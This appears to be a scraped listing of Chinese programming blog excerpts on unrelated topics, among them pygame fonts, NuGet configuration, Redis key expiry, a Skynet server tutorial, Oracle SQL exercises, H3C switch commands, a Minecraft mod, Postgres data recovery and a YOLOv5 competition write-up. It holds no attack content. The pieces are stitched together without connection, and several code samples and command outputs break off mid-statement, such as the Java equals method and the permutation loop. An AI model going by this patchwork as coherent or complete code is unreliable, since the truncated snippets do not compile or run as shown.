4、【Python机器学习库】学习完Python语法,再学习了解下Python上现成的机器学习库(模块包),了解基本功能学会调用它们(熟练掌握它们,主要还是要结合后面项目边学边实践才比较有效的。),一个初级的算法工程师(调包侠)基本就练成了。重要的机器学习库有: pandas 数据分析、numpy 数值计算库、matplotlib可视化工具,推荐《利用pandas数据分析》有涵盖了这几部分内容。

python中font模块详解

目录 系统方法 pygame.font.init() pygame.font.quit() pygame.font.get_init() pygame.font.get_default_font() pygame.font.get_fonts() pygame.font.match_font() pygame.font.SysFont() pygame.font.Font pygame.font.Font.render() pygame.font.Font.size() pygame.font.Font.set_underline() pygame.font.Font.get_underline() pygame.font.Font.set_bold() pygame.font.Font.get_bold() pygame.font.Font.set_italic() pygame.font.Font.metrics() pygame.font.Font.get_italic() pygame.font.Font.get_linesize() pygame.font.Font.get_height() pygame.font.Font.get_ascent() 系统方法 pygame.font.init() 功能:初始化字体模块 属性:init() -> None 此方法由 pygame.init()自动调用,初始化字体模块。在任何其他函数工作之前,必须初始化模块。 多次调用此函数是安全的。 pygame.font.quit() 功能:取消字体模块的初始化 属性:quit() -> None 手动取消初始化 SDL_ttf 的字体系统,由 pygame.quit()自动调用。 即使字体当前未初始化,也可以安全地调用此函数。 pygame.font.get_init() 功能:测试字体模块是否已初始化【如果字体模块已初始化,则为true】 属性:get_init() -> bool pygame.font.get_default_font() 功能:获取默认字体的文件名 属性:get_default_font() -> string 返回系统字体的文件名,但不是文件的完整路径。此文件通常与字体模块位于同一目录中,但也可以捆绑在单独的存档中。 pygame.font.get_fonts() 功能:获取所有可用字体 属性:get_fonts() -> list of strings 返回系统上所有可用字体的列表。字体名称将设置为小写,并删除所有空格和标点符号。这在大多数系统上都有效,但如果找不到字体,有些系统会返回空列表。 pygame.font.match_font() 功能:在系统上查找特定字体 属性:match_font(name, bold=False, italic=False) -> path 返回系统上字体文件的完整路径。如果粗体(bold)或斜体(italic)设置为true,则将尝试查找正确的字体系列。 字体名实际上可以是一个逗号分隔的字体名列表。如果没有找到给定的名称,则不返回任何名称。

更改NuGet包缓存位置

更改NuGet包缓存位置 NuGet包原始存放位置(举例 ==按实际情况找==)添加 nuget.config 文件nuget.config 配置项修改 Microsoft.VisualStudio.Offline.config 文件 NuGet包原始存放位置(举例 按实际情况找) 添加 nuget.config 文件 nuget.config 配置项 <?xml version="1.0" encoding="utf-8"?> <configuration> <packageSources> <add key="Microsoft Visual Studio Offline Packages" value="C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\"/> </packageSources> <config> <add key="GlobalPackagesFolder" value="D:\Program Files\NuGet\packages" /> </config> </configuration> 修改 Microsoft.VisualStudio.Offline.config 文件 添加 <config> <add key="GlobalPackagesFolder" value="D:\Program Files\NuGet\packages" /> </config> 两个文件内容是一样的

Matlab(fmincon):警告: 矩阵接近奇异值,或者缩放错误。结果可能不准确。RCOND = 2.156571e-16。

This warning may be displayed if for certain values of input parameters “x”, the objective function returns a NaN value (not a number). Because of this, FMINCON is unable to determine the gradient of the objective function and throws the warning above. To avoid the warning, you may need to modify your objective function to return non-NaN values for inputs of this type. There are also known limitations with the Active-Set algorithm in that in certain intermediate iterations it may choose a value of “x” that violates the constraints.

HTML元素属性href和src的区别

1.英文原意 href的英文原意是:Hypertext Reference Hypertext:超文本 Reference:引用或参照 scr的英文原意是:Source Source:资源 2.常见使用元素 使用href属性常见的元素有:link 和 a 使用src属性的常见元素有:img、style、script、input、iframe等 3.a和img元素的使用 从效果上来看,img中src引用的图片会直接显示在页面上,而a标签中引用的图片只要点击一下a标签才会跳转到该图片。这就说明了: href是超链接,它会建立一个通道,这个通道联系着其他资源,需要使用这个资源的时候就会通过这个通道进行引用了。 src引用的图片直接成为了当前文档的一部分。实际上,在浏览器解析过程中遇到了src引用的资源之后,会暂停解析并等待src指向资源下载完成嵌入文档之后继续解析文档。

Redis过期时间三种删除策略详解

redis中的数据有一个过期时间,比如验证码、token等。当数据过了期限后,应该要被删除。 redisDb中有两个dict对象,dict内部实现的是哈希表的结构。两个dict对象的名字一个叫dict,一个叫expires。 dict用于存放实际数据、expires用于存放过期时间数据。 当往redisDb中的dict中加入key-value数据的的时候,并且为数据设置了过期时间的时候,会将对应的key和过期时间存放到expires中,便于后期查找过期时间。 Redis中提供了三种删除策略: 1、定时删除 当放入数据后,设置一个定时器,当定时器读秒完毕后,将对应的数据从dict中删除。 优点: 内存友好,数据一旦过期就会被删除 缺点: CPU不友好,定时器耗费CPU资源,并且频繁的执行清理操作也会耗费CPU资源。 用时间换空间 2、惰性删除 当数据过期的时候,不做任何操作。当访问数据的时候,查看数据是否过期,如果过期返回null,并且将数据从内存中清除。如果没过期,就直接返回数据。 优点: CPU友好,数据等到过期并且被访问的时候,才会删除。 缺点: 内存不友好,会占用大量内存。 用空间换时间 3、定期删除 定期删除是定时删除和惰性删除的折中方案。 每隔一段时间对redisServer中的所有redisDb的expires依次进行随机抽取检查。 redis中有一个server.hz定义了每秒钟执行定期删除的次数,每次执行的时间为250ms/server.hz。 redis中会维护一个current_db变量来标志当前检查的数据库。current_db++,当超过数据库的数量的时候,会重新从0开始。 定期检查就是执行一个循环,循环中的每轮操作会从current_db对应的数据库中随机依次取出w个key,查看其是否过期。如果过期就将其删除, 并且记录删除的key的个数。如果过期的key个数大于w25%,就会继续检查当前数据库,当过期的key小于w25%,会继续检查下一个数据库。 当执行时间超过规定的最大执行时间的时候,会退出检查。 一次检查中可以检查多个数据库,但是最多检查数量是redisServer中的数据库个数,也就是最多只能从当前位置检查一圈。 伪代码: time_limit = 250ms/server.hz;//每次检查运行的最大时间 for(int j = 0;j < dbs_per_call;j++){//dbs_per_call为server中数据库的个数,也就是每次检查最多检查一轮所有的数据库 redisDb = redisServer.db[current_db]; current_db++; //获取数据库的过期哈希表 expires = redisDb.expires; //获取开始的时间 long start = time(); int expired = 0; int w = 20; do{ int i = 0; while(i++ < w){ long now = time(); //如果随机找的key过期了 if(expire(now,random(expires))){ //过期数量++ expired ++; } } //如果运行时间超过了规定时间,就退出检查,下一次定期检查直接检查下一个数据库 if(time() - start > timelimit){ return; } //如果过期数量超过25%,继续检查当前数据库 }while(expired > w * 25%); } 优点: 通过控制定时时间来动态的调整CPU和内存之间的状态,十分灵活。

【游戏开发实战】手把手教你从零跑一个Skynet,详细教程,含案例讲解(服务端 | Skynet | Ubuntu)

文章目录 一、前言二、关于Skynet三、Ubuntu虚拟机1、Ubuntu系统镜像下载2、VirtualBox虚拟机软件2.1、VirtualBox下载2.2、VirtualBox安装2.3、创建虚拟机 3、载入Ubuntu iso镜像4、Ubuntu系统安装过程 四、安装必要的工具1、安装git2、安装autoconf3、安装gcc 五、下载Skynet源码六、编译Skynet源码七、运行Skynet案例八、写个Demo1、配置文件2、规范目录结构3、自己写个配置文件4、主服务5、写个打工服务6、在主服务中启动打工服务7、在主服务中给打工服务发消息8、封装服务类9、重写打工服务10、买猫粮服务 九、补充1、网络模块2、节点集群3、数据库模块3.1、安装MySQL3.2、启动MySQL3.3、关闭MySQL3.4、登录MySQL3.5、在skynet中操作数据库 十、完毕 一、前言 嗨,大家好,我是新发。 认识我的朋友都知道我是一名Unity游戏开发工程师,也就是我平时做的是客户端部分的开发,其实以前我是一名服务端开发工程师,后来因为工作原因,转岗做了Unity客户端开发,然后就一直干到现在。 最近,我在搞服务端的skynet框架,看看以后自己做些作品(skynet框架服务端+Unity客户端)。今天呢,我就先把skynet环境搞一下,讲讲流程,也方便想学习的同学,话不多说,我们开始吧~ 二、关于Skynet skynet是一个轻量级的网络游戏框架,也可用于许多其他领域。 建议大家看下云风的《Skynet设计综述》,这里我不过多赘述,主要讲讲操作流程~ 三、Ubuntu虚拟机 skynet需要运行在linux或macos系统中,这里作为演示,我使用Ubuntu虚拟机。下面我讲下Ubuntu虚拟机的安装过程。 1、Ubuntu系统镜像下载 首先我们需要先下载Ubuntu系统的iso文件,下面这些地址都可以下载,大家选择一个即可: 网易开源镜像:http://mirrors.163.com/ubuntu-releases/ Ubuntu官方:http://releases.ubuntu.com/ Ubuntu中国官网:https://ubuntu.com/download/alternative-downloads 中科开源镜像:http://mirrors.ustc.edu.cn/ubuntu-releases/ 阿里开源镜像:http://mirrors.aliyun.com/ubuntu-releases/ 浙江大学开源镜像:http://mirrors.zju.edu.cn/ubuntu-releases/ 我以Ubuntu 16.04.7版本为例,地址:http://mirrors.163.com/ubuntu-releases/16.04.7/ 把iso文件下载到本地, 2、VirtualBox虚拟机软件 有了iso文件,需要将其安装到虚拟机中,而虚拟机需要运行在虚拟机软件上,所以,我们还需要先安装一个虚拟机软件。 虚拟机软件大家常用的是VMWare,这里我强烈推荐另一款虚拟机软件:VirtualBox,它轻量、开源免费,对于个人学习使用完全足够,五星推荐~ 关于VirtualBox: VirtualBox是一款开源虚拟机软件。VirtualBox是由德国Innotek公司开发,由Sun Microsystems公司出品的软件,使用Qt编写,在 Sun被 Oracle收购后正式更名成 Oracle VM VirtualBox。 VirtualBox号称是最强的免费虚拟机软件,它不仅具有丰富的特色,而且性能也很优异!它简单易用,可虚拟的系统包括Windows(从Windows 3.1到Windows 10、Windows Server 2012,所有的Windows系统都支持)、Mac OS X、Linux、OpenBSD、Solaris、IBM OS2甚至Android等操作系统!使用者可以在VirtualBox上安装并且运行上述的这些操作系统! 2.1、VirtualBox下载 VirtualBox我们可以从官网下载到,地址:https://www.virtualbox.org/ 选择windows版本,点击下载, 下载完毕, 2.2、VirtualBox安装 双击安装包运行安装,过程没有什么特别的,这里不赘述~ 安装成功后打开VirtualBox,界面如下: 2.3、创建虚拟机 点击菜单控制/新建, 填写虚拟机名称,设置虚拟机保存路径,如下,我设置为E:\ubuntu16, 设置内存大小,建议分配2G内存, 创建虚拟硬盘, 建议分配10G的虚拟硬盘空间, 虚拟机创建完成,如下 3、载入Ubuntu iso镜像 点击启动虚拟机,会提示选择启动盘,点击下面的小按钮, 点击注册, 选择我们刚刚下载的iso系统镜像文件,打开,可以看到列表中出现了我们的镜像,选中它, 点击启动,即可进入系统安装。 4、Ubuntu系统安装过程 点击Install Ubuntu,

Oracle第二章练习题

Oracle第2章练习题及答案 1.请从表EMP中查找工种是职员CLERK或经理MANAGER的雇员姓名、工资。 select ename,sal from emp where job=‘CLERK’ or job=‘MANAGER’; 2.请在EMP表中查找部门号在10-30之间的雇员的姓名、部门号、工资、工作。 select ename,deptno,sal,job from emp where deptno between 10 and 30; 3.请从表EMP中查找姓名以J开头所有雇员的姓名、工资、职位。 select ename,sal,job from emp where ename like ‘J%’; 4.请从表EMP中查找工资低于2000的雇员的姓名、工作、工资,并按工资降序排列。 select ename,job,sal from emp where sal<=2000 order by sal desc; 5.请从表中查询工作是CLERK的所有人的姓名、工资、部门号、部门名称以及部门地址的信息。 select ename,sal,emp.deptno,dname,loc from emp,dept where emp.deptno=dept.deptno and job=’CLERK’; 6.在表EMP中查询所有工资高于JONES的所有雇员姓名、工作和工资。 select ename,job,sal from emp where sal>(select sal from emp where ename=’JONES’); 7.列出没有对应部门表信息的所有雇员的姓名、工作以及部门号。 select ename,job,deptno from emp where deptno not in (select deptno from dept);

2021-2022-1 20212813《Linux内核原理与分析》第二周作业

反汇编一个简单的C程序 一、实验过程二、实验分析 一、实验过程 本次实验反汇编的C语言程序为: 使用gcc –S –o main.s main.c -m32命令将main.c中的程序编译成汇编代码,并生成main.s文件,使用cat main.s查看编译结果如下图所示: 二、实验分析 删除多余的代码段后得到的汇编代码如下: g: pushl %ebp movl %esp, %ebp movl 8(%ebp), %eax addl $2813, %eax popl %ebp ret f: pushl %ebp movl %esp, %ebp subl $4, %esp movl 8(%ebp), %eax movl %eax, (%esp) call g leave ret main: pushl %ebp movl %esp, %ebp subl $4, %esp movl $2813, (%esp) call f addl $1, %eax leave ret 对该段汇编代码的分析如下: 其中需要注意的几点: 调用函数的现场保护

最小栈_辅助栈存储最小元素

155. 最小栈 力扣https://leetcode-cn.com/problems/min-stack/ 难度简单1041 设计一个支持 push ,pop ,top 操作,并能在常数时间内检索到最小元素的栈。 push(x) —— 将元素 x 推入栈中。pop() —— 删除栈顶的元素。top() —— 获取栈顶元素。getMin() —— 检索栈中的最小元素。 示例: 输入: ["MinStack","push","push","push","getMin","pop","top","getMin"] [[],[-2],[0],[-3],[],[],[],[]] 输出: [null,null,null,null,-3,null,0,-2] 解释: MinStack minStack = new MinStack(); minStack.push(-2); minStack.push(0); minStack.push(-3); minStack.getMin(); --> 返回 -3. minStack.pop(); minStack.top(); --> 返回 0. minStack.getMin(); --> 返回 -2. 提示: pop、top 和 getMin 操作总是在 非空栈 上调用。 通过次数287,899提交次数502,228 题目描述: 设计一个支持push,pop,top的操作,并能够在常数时间内检索到最小元素的栈。 push(x),——将元素x压入栈中;pop(),——删除栈顶元素;top(),——获取栈顶元素;getMin(),——获取栈中的最小元素。 示例: 解释: 先创建一个栈——minStack; 然后push进栈一个元素-2, 然后push进栈一个元素0, 然后push进栈一个元素-3, 然后获取栈中的最小元素——返回-3, 然后进行pop出栈栈顶元素-3, 然后top获取栈顶元素——返回0, 然后获取栈中的最小元素——返回-2。

H3C设备运行状态查询常用命令(建议收藏)

1️⃣查看版本及SN、MAC等信息 display version 2️⃣查看物理端口信息 display interface brief 3️⃣查看用户信息 display users 4️⃣查看CPU、内存、风扇、电源使用情况 display cpu display memory display fan display power 5️⃣查看逻辑层(三层)接口信息 display ip interface brief 6️⃣查看端口信息 display interface GigabitEthernet x/x/x 7️⃣查看端口简要配置信息 display brief interface GigabitEthernet x/x/x 8️⃣查看端口配置 display current-configuration interface GigabitEthernet x/x/x 9️⃣查看当前的配置(非常好用) display this 🔟查看所有配置 display current-configuration 1️⃣1️⃣查看光模块类型 dis transceiver interface GigabitEthernet X/X/X GigabitEthernet5/0/24 transceiver information: Transceiver Type : 1000_BASE_LX_SFP Connector Type : LC Wavelength(nm) : 1310 Transfer Distance(km) : 10(9um) Digital Diagnostic Monitoring : YES Vendor Name : H3C Ordering Name : SFP-GE-LX10-SM1310 1️⃣2️⃣查看光功率衰减大小 dis transceiver diagnosis interface GigabitEthernet X/X/X GigabitEthernetX/X/X transceiver diagnostic information: Current diagnostic parameters: Temp( Voltage(V) Bias(mA) RX power(dBm) TX power(dBm) 48 3.

Minecraft 1.16.5模组开发(二十八) 自定义生态群系(biome)

今天我们尝试在MC中制作一个属于自己的生态群系 1.进入网站,选择Worldgen->Biome Generator进行空间维度的设定与制作: Minecraft 1.15,1.16,1.17自定义生态群系制作网站 2.在Biome Generator页面进行相关设置 在设置中会出现一系列的 s t e p i step_{i} stepi​(i=0,1,…,9) 分别对应于以下的各种类型: 设置好后在开发包data文件夹下面新建worldgen包 -> 在worldgen包中新建biome包 -> 在biome包中新建一个自定义的.json类型文件(以re8_biome.json进行演示) -> 将页面中左下角自动生成的代码复制粘贴到re8_biome.json中: 3.在init包下新建BiomeInit.java 在BiomeInit.java中编写代码: package com.joy187.re8joymod.common.init; import com.joy187.re8joymod.Utils; import net.minecraft.util.RegistryKey; import net.minecraft.util.ResourceLocation; import net.minecraft.util.registry.Registry; import net.minecraft.world.biome.BiomeMaker; import net.minecraftforge.common.BiomeManager; import net.minecraftforge.fml.RegistryObject; import net.minecraftforge.registries.DeferredRegister; import net.minecraftforge.registries.ForgeRegistries; import net.minecraft.world.biome.Biome; import java.util.function.Supplier; public class BiomeInit { public static final DeferredRegister<Biome> BIOMES = DeferredRegister.create(ForgeRegistries.BIOMES, Utils.MOD_ID); // 所有的自定义生物群系 static { createBiome("re8_biome", BiomeMaker::theVoidBiome); //你可以继续往下写 createBiome("re8_biome2", BiomeMaker::theVoidBiome); } // 可以创造多个自定义的生物群系 public static RegistryKey<Biome> RE8_BIOME = registerBiome("

如何使Office文档默认“不压缩文件中的图像”

Office 2007之后的版本提供压缩图片的功能,压缩文件中的图片,也减少文件的大小,占用更少的硬盘空间。 在Office的选项设置中,也提供了“不压缩文件中的图像”的选项,非常不方便的时,新建文档的默认选项是压缩图像,也就是此选项未被勾选,只能在保存文件时再修改,确实有些麻烦。 是否可以新建的文档默认选中““不压缩文件中的图像”的选项”呢?答案是肯定的,不过这不是借助VBA就能够实现的,而是需要修改注册表。 免责声明:本文只是技术探讨,不对其后果负责,修改注册表有风险,请各位谨慎。 在Windows中,依次单击【开始】>【运行】,输入regedit,打开注册表编辑器定位键值:HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Options. (版本取决于office版本,比如Office 365目前版本是16.0)右侧对话框中右击,在快捷菜单中选择【新建】>【Dword(32位)值】,将其命名为AutomaticPictureCompressionDefault,保持默认值为0 重新打开Word,新建一个文档,检查Word选项,已经默认勾选了“不压缩文件中的图像”。

Java HashMap存储自定义数据类型

package Object_Oriented; import java.util.Objects; public class Person { private String name; private int age; public Person() { } public Person(String name, int age) { this.name = name; this.age = age; } @Override public String toString() { return "Person{" + "name='" + name + '\'' + ", age=" + age + '}'; } @Override public boolean equals(Object o) { if (this == o) return true; if (o == null || getClass() !

数据库基本语言操作实验

(喜欢作者可以点播关注哦) 二、 实验内容 (一)创建数据库和模式 1、通过 SQL 语句创建图书信息管理数据库,命名为“db_Library”,数据文件和日志文件放在 D 盘下以自己学号和姓名命名的文件夹中,数据文件的逻辑名为 db_Library_data,数据文件的物理名为 db_Library_data.mdf,文件初始大小为 10MB,最大可增加至 300MB,增幅为 10%;日志文件的逻辑名为 db_Library_log,日志文件的物理名为 db_Library_data.ldf,文件初始大小为 5MB,最大可增加至 200MB,增幅为 2MB。(参照 SQL Server 2008 联机丛书) 2、通过SQL 语句在该数据库中创建模式 L_C。 (二)创建和管理数据表 要求为各数据表的字段选择合适的数据类型及名称;为各数据表设置相应的完整性约束条件。 1、通过SQL 语句将以下数据表创建在L_C 模式下: 课程信息表(tb_course)——课程编号、课程名、先修课、学分 2、通过SQL 语句将以下数据表创建在该数据库的默认模式 dbo 下: 图书类别信息表(tb_booktype)——类别编号、类别名称 图书信息表(tb_book)——图书编号、类别编号、书名、作者、出版社、定价、库存数读者信息表(tb_reader)——读者编号、姓名、性别、学号、班级、系部 借阅信息表(tb_borrow)——图书编号、读者编号、借阅日期、归还日期 3、通过SQL 语句对读者信息表进行修改:删除系部字段、添加所在系字段。 4、通过SQL 语句对图书信息表进行修改:将定价的数据类型改为 REAL。 5、通过SQL 语句删除课程信息表。 (三)创建和删除索引 1、使用 SQL 语句在图书信息表上创建一个聚簇索引 IX_S_QUANTITY,要求按照该表中库存数字段的降序创建。 2、使用 SQL 语句在读者信息表上创建一个唯一的索引 IX_S_NAME,要求按照该表中的姓名字段的升序创建。 3、使用SQL 语句删除之前创建的两个索引。 (四)数据库及数据表设计 根据周围的实际应用情况,自选一个小型的数据库应用项目进行研究,完成该系统的设计。通过需求分析,列出系统的主要功能,并完成该系统数据库的逻辑结构设计。例如可选择学籍管理系统、企业进销存管理系统、人事管理系统或在线考试系统等。 (五)数据查询 通过 SSMS 向各数据表中添加以下记录。 图书类别信息表 类别编号 类别名称 类别编号 类别名称 类别编号

关于n个数全排列的栈实现!

题目大意: 输入n个数,求出对于1-n的数的全排列的所有情况。 比如 输入数据 3: 则可能的情况有123,132,213,231,312,321. 依题意得:此时需要考虑的因素有输出次数为输入数据的n的阶乘次,同时输出需要带有一定的次序,并且利用栈进行数据的理想实现。 通过多方查阅资料可以得到解决的算法有: 1.通过递归进行实现。 2.通过栈操作进行实现, 对于递归,我这里就不进行实现了,毕竟网络上的教程很多都是关于递归实现这一方法。这里主要介绍比较少的栈实现的方法。 方法核心: 建立 一个循环,将栈中的数据多次弹出,每一次弹出都寻找一次,在栈外的数据有没有比弹出的数据大的,一旦条件成立就将大的这个数据入栈接着将栈外的数据从小到大依次入栈,每一次条件成立,就输出一次。 代码如下: package Main; import java.util.*; import java.math.*; public class Main1856 { public static void main(String[] args) { // TODO 自动生成的方法存根 Scanner in = new Scanner(System.in); int pa=1; while(in.hasNext()) { int fa = in.nextInt(); SeqStack1856<Integer> seq = new SeqStack1856<Integer>(); for(int i=1;i<=fa;i++) { seq.push(i); } System.out.println("Case "+pa+++":"); System.out.println(seq); while(!seq.isEmpty()) { int i = seq.pop(); // System.out.println(seq.get()+"hhhh "); for(;i<fa;i++) { // System.

梯度消失与梯度爆炸

简介 梯度消失问题和梯度爆炸问题,总的来说可以称为梯度不稳定问题。 ReLU激活函数,用Batch Normal,用残差结构解决梯度消失问题正则化来限制梯度爆炸 梯度消失 梯度消失的原始是反向传播时的链式法则。当模型的层数过多的时候,计算梯度的时候就会出现非常多的乘积项。用下面这个例子来理解: y 1 = w 1 x 1 + b 1 y_{1} = w_{1}x_{1} + b_{1} y1​=w1​x1​+b1​ z 1 = σ ( y 1 ) z_{1} = \sigma(y_{1}) z1​=σ(y1​) 此时要更新参数 b 1 b_{1} b1​,其梯度求取就是: ∂ z 1 ∂ b 1 = ∂ z 1 ∂ y 1 ∂ y 1 ∂ b 1 = σ ′ ( y 1 ) ∂ y 1 ∂ b 1 \frac{\partial z_{1}}{\partial b_{1}} = \frac{\partial z_{1}}{\partial y_{1}}\frac{\partial y_{1}}{\partial b_{1}}= \sigma'(y_{1})\frac{\partial y_{1}}{\partial b_{1}} ∂b1​∂z1​​=∂y1​∂z1​​∂b1​∂y1​​=σ′(y1​)∂b1​∂y1​​

Postgres中恢复删除的表数据

参考文档: pg9的文档: http://postgres.cn/docs/9.6/app-pgresetxlog.html http://postgres.cn/docs/9.6/pgxlogdump.html pg10的文档: http://postgres.cn/docs/10/pgwaldump.html http://postgres.cn/docs/10/app-pgresetwal.html -- 测试环境,PG9.4. 手头上电脑上有2年前的pg9,顺便测试下。如果是pg10及以上版本,则一些函数会不一样。 [postgres@redhat762100 pg_xlog]$ pg_config | grep VERSION VERSION = PostgreSQL 9.4.23 [postgres@redhat762100 pg_xlog]$ 会用到查询pg的日志信息的一些函数,这些函数在不同的版本中是不一样的。 -- 10之前写法 select pg_current_xlog_location(), pg_xlogfile_name(pg_current_xlog_location()), pg_xlogfile_name_offset(pg_current_xlog_location()); -- 10 以后写法 select pg_current_wal_lsn(), pg_walfile_name(pg_current_wal_lsn()), pg_walfile_name_offset(pg_current_wal_lsn()); -- 插入5行数据 mydb=# create table t1 (id int,name text); CREATE TABLE mydb=# insert into t1 values(1,'aa'); INSERT 0 1 mydb=# insert into t1 values (2,'bb'); INSERT 0 1 mydb=# insert into t1 values(3,'cc'); INSERT 0 1 mydb=# insert into t1 values(4,'dd'); INSERT 0 1 mydb=# insert into t1 values(5,'ee'); INSERT 0 1 mydb=# select * from t1; id | name ----+------ 1 | aa 2 | bb 3 | cc 4 | dd 5 | ee (5 rows) mydb=# -- 将ID=4的记录删除掉

首届长三角青少年人工智能擂台赛全记录(YOLOv5+Win10+Anaconda+Pycharm+ModelArts)

缘由 2021年的暑假辅导学生参加首届长三角人工智能算法擂台赛。 初赛为基于AI开发平台ModelArts,使用Python语言编写代码,完成包括党徽、国徽、国旗、军礼、军徽、少先队徽、红领巾、团徽的党史图像检测挑战。 初赛小结 我们自行在网上找了1500张相关图片,并在ModelArts中开始标注,完成后用ModelArts内置的算法开始训练并打榜,有YOLOv3,v5以及Fast-RCNN。由于经费及每日打榜次数的限制,加上初赛时我们经验的不足,最终的成绩是0.52(满分为1,初高中分别排名,非官方参赛队不计入名次),幸好在我们组入围了决赛。 **PS1:**本以为训练集是不提供的,所以自行在网上找图片。后来官方提供了训练集,但此时不忍心丢弃已标注的图片,就在官方的训练集中挑选了300张,加之自行寻找的,共1800张进行训练的。 **PS2:**初赛的训练集中有一些图片是否需要标注给我们带来了很大的困扰:如黑白的、红色的、镂空的,卡通的党徽团徽队徽等等。标了担心对成绩有反作用(测试集不公开的),不标有担心测试集中有。 事后想想若我们对训练集精心挑选+标注一下,也许初赛的成绩会更好一些。 决赛赛题 主要考核点有交通信号灯识别、车道线检测、斑马线检测、限速标志识别、施工标志识别、障碍物检测等,其中交通信号灯、斑马线、限速标志检测算法需要基于AI开发平台ModelArts开发。 重点部分: 1、禁用内置YOLOv5 2、官方提供的数据集中有标志样例 3、官方明确表示,训练集和测试集中没有过分夸张的图片 因为决赛禁用内置YOLOv5,我们推测YOLOv5识别率相对会高一些,加之初赛我们组用了Fast-RCNN(费用较高,训练一次在100元左右),结果不甚理想,所以我们组决定尝试自行搭建本地YOLOv5的环境。 自行搭建本地YOLOv5的环境 Windows中安装深度学习环境pytorch+paddle(Anaconda+Pycharm) 在CSDN上找到了一篇8月底新发的搭建YOLOv5保姆级教程,https://blog.csdn.net/didiaopao/article/details/119787139。 参照教程,在一台系统为Server2012的服务器和一台WIN10的办公用机上同时搭建环境。由于这两台机器都没有显卡,所以跳过了安装显卡驱动的环节。安装好anaconda后,新建了pytorch和paddle的环境(都是基于python3.8的)。 __PS1:__事后找了一台有显卡(P106)的机器,不知为什么在安装pytorch环境时,选择清华源是显示报错,报错信息如下,大概意思是清华源上没有cuda11.1下pytorch的环境,无奈只能选择国外源。(但安装无显卡,仅仅是CPU的pytorch环境是可以选择清华源) __PS2:__总结不推荐在Server2012上跑YOLOv5,若要用服务器跑,建议使用Server2019以上的版本。 在pycharm中新建工程,分别选择pytorch和paddle环境(CPU),参照教程里的验证代码,输出结果如下(安装成功)。 从Github下载YOLOv5程序+安装所需库 接下去,按如下教程(https://blog.csdn.net/didiaopao/article/details/119954291)从github上下载YOLOv5源码,解压后并在pycharm中以工程打开(选择pytorch环境)。在执行requestments文件的第一句语句 pip install -r requirements.txt后,发生如下错误。 打开test.py文件后,发现pycharm有如图错误提示,很明显是没有成功安装这两个库。 opencv_python库解决办法: 将opencv_python-4.5.1.18-cp38-cp38-win_amd64.whl复制到Anaconda中的pytorch环境的库安装目录(c:\Users\administrator.conda\envs\pytorch\Lib\site-package),打开Anaconda的命令提示符,激活pytorch环境,进入上述库安装目录,手动输入命令“pip install opencv_python-4.5.1.18-cp38-cp38-win_amd64.whl”,安装完成即可。 pycocotools库解决办法: 执行过pip install -r requirements.txt后,其实已安装了pycocotools库,但YOLOv5依旧说不满足所需,pycharm给出的报错信息是vc++,其实不需要安装相应的vc++。 参照以下方法即可解决:https://blog.csdn.net/Gao_qie/article/details/118391417 其实就是将高版本的库文件下载并解压后,直接复制替换原先安装的低版本的库文件。 这样就解决了opencv_python库和pycootools库不满足需求的问题。 XML转TXT: 接一下就可以跑训练了,但YOLOv5的数据集标签是TXT格式(矩形中心的坐标xy与wh的归一化值),若在ModelArts中标注后的格式为VOC的XML格式(如图),需要人工将XML的标签转换为TXT的格式,详细转换方法见链接https://blog.csdn.net/didiaopao/article/details/120022845 还需将数据集划分为训练集和验证集来进行YOLOv5模型的训练,一张图片的JPG文件名和标注TXT文件名必须一致。数据最好放在最外一级目录中,数据集的目录格式如下图所示。 配置自己的模型参数: 做好如上准备后,在正式跑YOLOv5之前还有一些准备工作。 第一、下载预训练权重文件 为了缩短网络的训练时间,并达到更好的精度,一般需加载预训练权重进行训练。而yolov5提供了几个预训练权重,可以对应不同的需求选择不同的版本的预训练权重。通过如下的图可以获得权重的名字和大小信息,可以预料的到,预训练权重越大,训练出来的精度就会相对来说越高,但是其检测的速度就会越慢。预训练权重可以通过这个网址 https://github.com/ultralytics/yolov5/releases 进行下载,如图,本文中以yolov5s.pt为预训练权重。 第二、修改数据配置文件 修改data目录下相应的yaml文件。找到data目录下的voc.yaml文件,将该文件复制一份,将复制的文件重命名,最好和项目相关,这样方便后面操作,这里我修改为csj52.yaml。 打开csj52.yaml文件修改其中的参数,首先将箭头1中的那一行代码注释掉,如果不注释则可能训练时候会报错;箭头2中需要将训练和测试的数据集的路径填上(绝对路径和相对路径都可以,绝对路径不可能出错);箭头3中需要检测的类别数,填写6,表明有6个类别;最后箭头4中填写需要识别的类别的名字(必须是英文,否则会乱码识别不出来)。 第三、修改模型配置文件 由于使用的是yolov5s.pt这个预训练权重,所以要使用models目录下的yolov5s.yaml文件中的相应参数(因为不同的预训练权重对应着不同的网络层数,所以用错预训练权重会报错)。同上修改data目录下的yaml文件一样,我们最好将yolov5s.yaml文件复制一份,然后将其重命名,我将其重命名为yolov5s_csj52.yaml。 打开yolov5s_csj52.yaml文件只需要修改如图中的nc后面的数字就好了,这里是识别六个类别。 其实下面两个参数depth_multiple和width_multiple就是模型的深度和层数的比例值,不同预训练模型的这两个值是不同的。 至此,相应的配置参数就修改好了。 跑YOLOv5训练: 找到train.py这个py文件, 然后找到主函数的入口,这里面有模型的主要参数。模型的主要参数解析如下所示。 if __name__ == '__main__': """ opt模型主要参数解析: --weights:初始化的权重文件的路径地址 --cfg:模型yaml文件的路径地址 --data:数据yaml文件的路径地址 --hyp:超参数文件路径地址 --epochs:训练轮次 --batch-size:喂入批次文件的多少 --img-size:输入图片尺寸 --rect:是否采用矩形训练,默认False --resume:接着打断训练上次的结果接着训练 --nosave:不保存模型,默认False --notest:不进行test,默认False --noautoanchor:不自动调整anchor,默认False --evolve:是否进行超参数进化,默认False --bucket:谷歌云盘bucket,一般不会用到 --cache-images:是否提前缓存图片到内存,以加快训练速度,默认False --image-weights:使用加权图像选择进行训练 --device:训练的设备,cpu;0(表示一个gpu设备cuda:0);0,1,2,3(多个gpu设备) --multi-scale:是否进行多尺度训练,默认False --single-cls:数据集是否只有一个类别,默认False --adam:是否使用adam优化器 --sync-bn:是否使用跨卡同步BN,在DDP模式使用 --local_rank:DDP参数,请勿修改 --workers:最大工作核心数 --project:训练模型的保存位置 --name:模型保存的目录名称 --exist-ok:模型目录是否存在,不存在就创建 "

箭头函数与普通函数

